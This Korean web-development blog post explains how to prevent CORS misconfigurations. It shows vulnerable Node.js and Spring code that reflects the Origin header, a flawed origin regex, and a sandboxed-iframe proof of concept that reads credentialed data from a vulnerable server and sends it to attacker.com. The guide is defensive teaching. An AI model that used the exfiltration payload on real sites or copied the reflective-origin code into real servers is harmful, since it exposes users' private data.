๊ฐœ๋ฐœ ์ง€์‹/WEB ์ง€์‹

๐ŸŒ CORS ๋ณด์•ˆ ์ทจ์•ฝ์  ์˜ˆ๋ฐฉ ๊ฐ€์ด๋“œ

์ธํŒŒ_ 2022. 11. 28. 09:35

cors-security-risk

CORS์˜ ๋ณด์•ˆ ๋ฌธ์ œ์ 

๋‹ค๋ฅธ ์ถœ์ฒ˜(Origin)์˜ ์„œ๋ฒ„์˜ ๋ฆฌ์†Œ์Šค๋ฅผ ์ œ์•ฝ์—†์ด ๊ฐ€์ ธ์™€ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ XSS(Cross-Site Scripting)๋‚˜ CSRF(Cross-Site Request Fogery)์™€ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŒ… ๊ณต๊ฒฉ์„ ๋‹นํ•  ์œ„ํ—˜์„ฑ์ด ์žˆ๋‹ค.

๊ทธ๋ž˜์„œ ํƒ„์ƒํ•œ ๊ฒƒ์ด ๋ธŒ๋ผ์šฐ์ €์˜ SOP(Same Origin Policy) ์ •์ฑ…์ด๋‹ค.

ํ•˜์ง€๋งŒ SOP ์ •์ฑ…์€ ์˜ค๋กœ์ง€ ๋™์ผํ•œ ์ถœ์ฒ˜์—์„œ๋งŒ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต์œ ํ• ์ˆ˜ ์žˆ์–ด, ๊ธ€๋กœ๋ฒŒํ•œ ์ธํ„ฐ๋„ท ํ™˜๊ฒฝ์—์„  ์ด๋Š” ๋„ˆ๋ฌด ์ œํ•œ์ ์ด๋ผ๋Š” ๋‹จ์ ์ด ์กด์žฌํ–ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์„œ๋น„์Šค ์ฐจ์›์—์„œ ๋ช‡๋ช‡์€ ๋‹ค๋ฅธ ์ถœ์ฒ˜๋ผ๋„ ๋ฆฌ์†Œ์Šค ๊ณต์œ ๋ฅผ ํ—ˆ์šฉํ•ด ์ฃผ๊ฒ ๋‹ค๋Š” ๊ฒƒ์ด ๋ฐ”๋กœ CORS(Cross Origin Resource Sharing) ์ •์ฑ…์ด๋‹ค.

 

[WEB] ๐Ÿ“š ์•…๋ช… ๋†’์€ CORS ๊ฐœ๋… & ํ•ด๊ฒฐ๋ฒ• - ์ •๋ฆฌ ๋ํŒ์™• ๐Ÿ‘

์•…๋ช… ๋†’์€ CORS ์—๋Ÿฌ ๋ฉ”์„ธ์ง€ ์›น ๊ฐœ๋ฐœ์„ ํ•˜๋‹ค๋ณด๋ฉด ๋ฐ˜๋“œ์‹œ ๋งˆ์ฃผ์น˜๋Š” ๋ฉ๋ฉ ๊ฐ™์€ ์—๋Ÿฌ๊ฐ€ ๋ฐ”๋กœ CORS ์ด๋‹ค. ์›น ๊ฐœ๋ฐœ์˜ ์‹ ์ž… ์‹ ๊ณ ์‹์ด๋ผ๊ณ  ํ•  ์ •๋„๋กœ, CORS๋Š” ๋ˆ„๊ตฌ๋‚˜ ํ•œ ๋ฒˆ ์ •๋„๋Š” ๊ฒช๊ฒŒ ๋œ๋‹ค๊ณ  ํ•ด๋„ ๊ณผ์–ธ์ด

inpa.tistory.com

 

ํ•˜์ง€๋งŒ ์‚ฌ์šฉ์ž๋“ค์˜ ํŽธ์˜๋ฅผ ์œ„ํ•ด ํƒ„์ƒํ•œ CORS ์ •์ฑ…์— ๋Œ€ํ•ด, ์„œ๋ฒ„์—์„œ ๋„ˆ๋ฌด ์œ ์—ฐํ•˜๊ฒŒ ๋ฆฌ์†Œ์Šค ํ—ˆ์šฉ ์„ค์ •์„ ํ•˜๊ฒŒ ๋  ๊ฒฝ์šฐ, ์›น์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํ๋ฆ„์„ ์•…์šฉํ•˜์—ฌ ํƒ€์ธ์˜ ๊ฐœ์ธ์ •๋ณด๋ฅผ ํ•ดํ‚นํ•  ์œ„ํ—˜์„ฑ์ด ์žˆ๊ฒŒ ๋œ๋‹ค.

์ด๋Š” ๋‹น์—ฐํ•œ ๊ฒƒ์ด, ์›๋ž˜๋Š” SOP ์ •์ฑ…์œผ๋กœ ๋ง‰ํ˜”์–ด์•ผํ•  ์™ธ๋ถ€ ๋ฆฌ์†Œ์Šค๋“ค์ด CORS ์ •์ฑ…์œผ๋กœ ์–ต์ง€๋กœ ๋šซ์–ด์คฌ์œผ๋‹ˆ ๊ณต๊ฒฉ์— ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋˜๋Š”๊ฑด ๋‹น์—ฐํ•œ ์ˆ˜์ˆœ์ด๋‹ค.

์ฆ‰, ๊ฐœ๋ฐœ์ž๊ฐ€ CORS ์ •์ฑ…์„ ์ž˜๋ชป ๊ตฌ์„ฑํ•  ๊ฒฝ์šฐ ์‹ฌ๊ฐํ•œ ๋ณด์•ˆ ์œ„ํ˜‘์ด ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์†Œ๋ฆฌ์ด๋‹ค.

๋Œ€ํ‘œ์ ์ธ ์˜ˆ๋กœ Access-Control-Allow-Origin ํ—ค๋”์— ํ—ˆ์šฉํ•  ๋„๋ฉ”์ธ๋“ค์„ ์ผ์ผํžˆ ์„ค์ •ํ•˜๊ธฐ ๊ท€์ฐฎ๋‹ค๊ณ  ์™€์ผ๋“œ ์นด๋“œ(*)๋กœ ํ‰์น˜๋Š”๊ฑธ ๋“ค ์ˆ˜ ์žˆ๋‹ค.


CORS ๋ณด์•ˆ ๋ฌธ์ œ ์˜ˆ๋ฐฉ ๊ฐ€์ด๋“œ

๋‹ค์Œ์€ ์ทจ์•ฝํ•œ CORS์˜ ๊ตฌ์„ฑ์„ ์˜ˆ๋ฐฉ ๋ฐ ์™„ํ™”ํ•˜๋Š” ์ง€์นจ ๊ฐ€์ด๋“œ์ด๋‹ค.

 

1. ์™€์ผ๋“œ์นด๋“œ(*) ์ถœ์ฒ˜ ์‚ฌ์šฉ ๊ธˆ์ง€

์˜ˆ์ƒํ•˜์˜€๋“ฏ์ด ๋ชจ๋“  ๋„๋ฉ”์ธ์„ ํ—ˆ์šฉํ•˜๋Š” ์™€์ผ๋“œ์นด๋“œ์˜ ์‚ฌ์šฉ์€ ์•„๋ฌด๋ฆฌ ๊ท€์ฐฎ๋”๋ผ๋„ ์„œ๋น„์Šค๊ฐ€ ์ „์ฒด์ ์œผ๋กœ ๊ณต๊ฐœ๋  ๊ฒƒ์ด ์•„๋‹ˆ๋ผ๋ฉด ์‚ฌ์šฉ์„ ์ž์ œ ํ•˜์—ฌ์•ผ ํ•œ๋‹ค.

cors-security


2. Origin ์š”์ฒญ ํ—ค๋”์˜ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉ ๊ธˆ์ง€

์œ„์˜ ์™€์ผ๋“œ์นด๋“œ(*)๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ๊ณผ ๋‹ค๋ฆ„์ด ์—†๋Š” ์ƒํ™ฉ์ด๋‹ค.

๋งŒ์ผ ๋‹ค๋ฅธ ์ถœ์ฒ˜ ๋ผ๋ฆฌ ์ฟ ํ‚ค ํ†ต์‹ ์„ ํ•ด์•ผํ• ๋•Œ ํด๋ผ์ด์–ธํŠธ์—์„œ withCredentials ์˜ต์…˜์„ ํ™œ์„ฑํ™”ํ•˜์—ฌ์•ผ ํ•˜๋Š”๋ฐ, ์ด๋•Œ Access-Control-Allow-Origin ํ—ค๋”์— ์™€์ผ๋“œ์นด๋“œ(*)๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ๋œ๋‹ค.

์ด๋•Œ ์“ฐ๋Š” ๊ผผ์ˆ˜ ๋ฐฉ๋ฒ•์ด ๋ผ์šฐํ„ฐ์— ๋“ค์–ด์˜จ ์š”์ฒญ ๋ฐ์ดํ„ฐ์— request ๊ฐ์ฒด์˜ Origin ํ—ค๋”๊ฐ’์„ ๊ฐ€์ ธ์™€์„œ ๊ทธ๋Œ€๋กœ  Access-Control-Allow-Origin ํ—ค๋”์— ๋„ฃ๋Š” ๋ฐฉ์‹์ด๋‹ค.

๊ธธ๊ฒŒ ์„ค๋ช…ํ•  ํ•„์š”์—†์ด ๊ฐœ๋ฐœ์ž์˜ ๊ฒŒ์œผ๋ฆ„์— ์˜ํ•ด ๋ฐœ์ƒ๋˜๋Š” ๋ณด์•ˆ ์ทจ์•ฝ์ ์ด๋ฉฐ ์ด๋Ÿฌํ•œ ๋กœ์ง์˜ ์‚ฌ์šฉ์„ ์ง€์–‘ํ•˜์—ฌ์•ผ ํ•œ๋‹ค.

/* Node.js */

app.get('/users', (req, res) => {

    res.header("Access-Control-Allow-Origin", req.headers.origin);
    // ...
}
/* Spring */

@Component
public class SimpleCorsFilter implements Filter {

    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest) req;
        HttpServletResponse response = (HttpServletResponse) res;
        
        response.setHeader("Access-Control-Allow-Origin", request.getHeader("Origin"));
        // ...
    }

	// ...
}

3. NULL ์ถœ์ฒ˜ ํ—ˆ์šฉ ๊ธˆ์ง€

๊ฐ€๋” ๋กœ์ปฌ ํ™˜๊ฒฝ์—์„œ ๊ฐœ๋ฐœํ•˜๊ณ  ํ…Œ์ŠคํŠธํ• ๋•Œ Origin์ด null๋กœ ๋„˜์–ด์™€์„œ, ์„œ๋ฒ„์—์„œ Access-Control-Allow-Origin ํ—ค๋”์— null์„ ์„ค์ •ํ•˜๊ณ  ๊ฐœ๋ฐœ์„ ์ด์–ด๋‚˜๊ฐ€๋‹ค, ๊ฐœ๋ฐœ์ด ์™„๋ฃŒ๋˜๋ฉด ๊ทธ๋Œ€๋กœ ๋ฐฐํฌํ•˜๋Š” ์ผ์ด ์ผ์–ด๋‚œ๋‹ค.

cors-security

์–ด์ฐจํ”ผ ์‹ค์„œ๋น„์Šค๋Š” ์›น์„œ๋ฒ„์— ์˜ํ•ด ๋ฐฐํฌ๊ฐ€ ๋ ๊ฒƒ์ด๊ณ , ์„œ๋น„์Šค์— ์ ‘์†ํ•˜๋Š” ๊ฒƒ๋„ ์‹ค์ œ ์›น์ฃผ์†Œ๋ฅผ ํ†ตํ•ด ๋“ค์–ด์˜ค๋Š”๋ฐ ๋ฌด์—‡์ด ๋ฌธ์ œ๋ƒ๊ณ  ์˜๋ฌธ์„ ํ‘œํ• ์ˆ˜ ์žˆ๊ฒ ์ง€๋งŒ, ๊ฒฐ๋ก  ๋ถ€ํ„ฐ ๋งํ•˜๋ฉด Origin: null์€ ๊ฐ„๋‹จํžˆ ๋šซ๋ฆด์ˆ˜ ์žˆ๋‹ค.

 

iframe์„ ํ†ตํ•œ ๊ณต๊ฒฉ

iframe ์€ html์„ ํŽ˜์ด์ง€์— ์‚ฝ์ž… ํ•ด์ฃผ๋Š” ๊ฒƒ ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ, src ๊ฐ’์— javascript: ๋‚˜ data: ๋“ฑ์„ ๋„ฃ์–ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋งŒ์ผ ์ด๋Ÿฐ์‹์œผ๋กœ iframe ๋‚ด๋ถ€์—์„œ ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋œ๋‹ค๋ฉด Origin์€ ์ž๋™์œผ๋กœ null๋กœ ๋˜์–ด์„œ ์„œ๋ฒ„๋กœ ๋ณด๋‚ด์ง€๊ฒŒ ๋œ๋‹ค.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
   <script>
      var xhr = new XMLHttpRequest();
      xhr.onload = reqListener;
      xhr.open('get', 'https://vulnerable.com/path_to_get_data', true); // ์ทจ์•ฝํ•œ ์„œ๋ฒ„๋กœ ajax ์š”์ฒญ์„ ๋ณด๋ƒ„
      xhr.withCredentials = true;
      xhr.send();
      
      function reqListener() {
         location='https://attacker.com/getdata?restxt='+encodeURIComponent(this.responseText);
      };
   </script>">
</iframe>

 

cors-security

  1. ํ”ผํ•ด์ž๊ฐ€ ์›น๋ธŒ๋ผ์šฐ์ €๋ฅผ ํ†ตํ•ด ๊ณต๊ฒฉ์‚ฌ์ดํŠธ attacker.com ์— ์ ‘์†ํ•œ๋‹ค.
  2. attacker.com์— ์ž„๋ฒ ๋””๋“œ ๋˜์–ด ์žˆ๋Š” iframe์— ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•ด ํฌํ„ธ ์‚ฌ์ดํŠธ์— ์ฟ ํ‚ค๋ฅผ ๋‹ด์•„ ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๋Š” ์š”์ฒญ์„ ๋ชฐ๋ž˜ ๋ณด๋‚ธ๋‹ค.
  3. ์ด๋•Œ ๋ธŒ๋ผ์šฐ์ €์˜ Origin์€ null๋กœ ์ฒ˜๋ฆฌ๋˜์–ด ๋ณด๋‚ด์ง€๊ฒŒ ๋œ๋‹ค.
  4. ๋งŒ์ผ ์„œ๋ฒ„์—์„œ null์— ๋Œ€ํ•ด ์ถœ์ฒ˜๋ฅผ ํ—ˆ์šฉ๋˜๋„๋ก ์ฒ˜๋ฆฌํ–ˆ๋‹ค๋ฉด ์ •์ƒ ์‘๋‹ต์„ ํ•˜๊ฒŒ ๋œ๋‹ค.
  5. ํ”ผํ•ด์ž์˜ ๊ฐœ์ธ์ •๋ณด๋ฅผ attacker.com์— ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์œผ๋กœ ๋„ฃ์–ด ์ „์†กํ•œ๋‹ค.

4. ์ •๊ทœ์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•  ๊ฒƒ์ด๋ผ๋ฉด ์กฐ์‹ฌํžˆ

ํšจ์œจ์ ์ธ ์ฝ”๋“œ ์ž‘์„ฑ์„ ์œ„ํ•ด ๋„๋ฉ”์ธ์„ ์ •๊ทœ์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒฝ์šฐ๋„ ์กด์žฌํ•œ๋‹ค. 

์˜ˆ๋ฅผ๋“ค์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์ •๊ทœ์‹์ด ์žˆ๋‹ค๊ณ  ํ•˜์ž. ์ƒ์œ„ ๋„๋ฉ”์ธ example.com ์˜ ํ•˜์œ„ ๋„๋ฉ”์ธ์—๊ฒŒ๋งŒ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋„๋ก ์ฒ˜๋ฆฌ๋œ ์‹์ด๋ฉฐ, ๋‚˜์ค‘์— ์ถ”๊ฐ€๋  ์—ฌ๋Ÿฌ๊ฐ€์ง€ ํ•˜์œ„ ๋„๋ฉ”์ธ๋“ค์— ๋Œ€ํ•ด ์„œ๋ฒ„ ์ฝ”๋“œ ์ˆ˜์ •์—†์ด ์œ ์—ฐํ•˜๊ฒŒ ์ฒ˜๋ฆฌ๋„ ๊ฐ€๋Šฅํ•˜๋‹ค.

const regex = /[a-z]+.example.com/g

ํ•˜์ง€๋งŒ ์œ„์˜ ์ •๊ทœํ‘œํ˜„์‹์€ ์ ์ ˆํ•˜์ง€ ์•Š๋‹ค.

์ •๊ทœ์‹์˜ ๋ณธ๋ž˜ ์˜๋„์ธ ํ•˜์œ„ ๋„๋ฉ”์ธ์—๊ฒŒ๋งŒ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋Š”๊ฑด ๋ฌธ์ œ์—†์ง€๋งŒ, [a-z]+ ๋‹ค์Œ์— ์žˆ๋Š” ์  . ์ด ๋ฌธ์ œ๋‹ค. ์ •๊ทœํ‘œํ˜„์‹์—์„œ ์ (.)์€ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ๋œปํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

cors-security

๊ฒฐ๊ตญ ๊ณต๊ฒฉ์ž๋Š” ๋”ฐ๋กœ attackerexample.com ๋„๋ฉ”์ธ์„ ์ƒˆ๋กœ ์ค€๋น„ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ์„œ๋ฒ„์˜ ํ•„ํ„ฐ๋ง ๋กœ์ง์€ ์†์‰ฝ๊ฒŒ ๋šซ๋ฆฌ๊ฒŒ ๋˜๋Š” ๊ฒฐ๊ณผ๋ฅผ ๋‚ณ๊ฒŒ ๋œ๋‹ค.

cors-security

 

ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์€ ์ (.)์„ ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌํ•˜์—ฌ ๋ฌธ์žํ™” ์‹œํ‚ค๋Š” ๊ฒƒ์ด๋‹ค.

์ด์ฒ˜๋Ÿผ ํ—ˆ์šฉํ•  CORS Origin์„ ์„ค์ •ํ• ๋•Œ ์ •๊ทœ์‹์œผ๋กœ ์ฒ˜๋ฆฌํ• ๊ฒฝ์šฐ ์™„๋ฒฝํ•œ ๊ฒ€์ฆ์ด ์š”๊ตฌํ•˜๊ฒŒ ๋œ๋‹ค.

const regex = /[a-z]+\.example.com/g

cors-security


5. ํ™”์ดํŠธ ๋ฆฌ์ŠคํŠธ ์‚ฌ์šฉ

๊ฒฐ๊ตญ์€ ์–ด๋”˜๊ฐ€์˜ ๋ฐฐ์—ด์ด๋‚˜ ๋ฆฌ์ŠคํŠธ์— ํ—ˆ์šฉํ•  ์ถœ์ฒ˜๋“ค์„ ์ €์žฅํ•ด๋†“๊ณ  ๊ด€๋ฆฌํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ๋ฒ ์ŠคํŠธ์ด๋‹ค.

๋”ฐ๋ผ์„œ ์š”์ฒญ์„ ์ „์†กํ•œ ์ถœ์ฒ˜๊ฐ€ ํ™”์ดํŠธ ๋ฆฌ์ŠคํŠธ์— ์žˆ๋Š” ๋„๋ฉ”์ธ ๋ชฉ๋ก์— ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ Access-Control-Allow-Origin ํ—ค๋”์— ํ•ด๋‹น ์ถœ์ฒ˜๋ฅผ ์ง€์ •ํ•˜๋Š” ์‹์œผ๋กœ ๋ฐฑ์—”๋“œ ๊ฐœ๋ฐœ์ž๋Š” ํ•˜๋“œ ์ฝ”๋”ฉ์„ ์กฐ๊ธˆ ํ•ด์•ผํ•œ๋‹ค.

cors-security

 

ํด๋ผ์ด์–ธํŠธ์—์„œ Origin์„ ๋ณ€์กฐํ•ด๋„ ๋ฌธ์ œ ์—†๋Š”๊ฐ€?

๊ทธ๋ ‡๋‹ค๋ฉด ํด๋ผ์ด์–ธํŠธ์—์„œ ๋ฏธ๋ฆฌ origin ํ—ค๋”๊ฐ’์„ ์œ„์กฐํ•˜๋ฉด ์„œ๋ฒ„์˜ CORS๋ฅผ ๋šซ์„์ˆ˜ ์žˆ์ง€ ์•Š์„๊นŒ ์‹ถ์ง€๋งŒ, ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ด๋ฅผ ๊ฐ์ง€ํ•˜์—ฌ ์›์ฒœ ์ฐจ๋‹จํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฒฐ๋ก ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค.

cors-security


# ์ฐธ๊ณ ์ž๋ฃŒ

https://www.bugbountyclub.com/pentestgym/view/60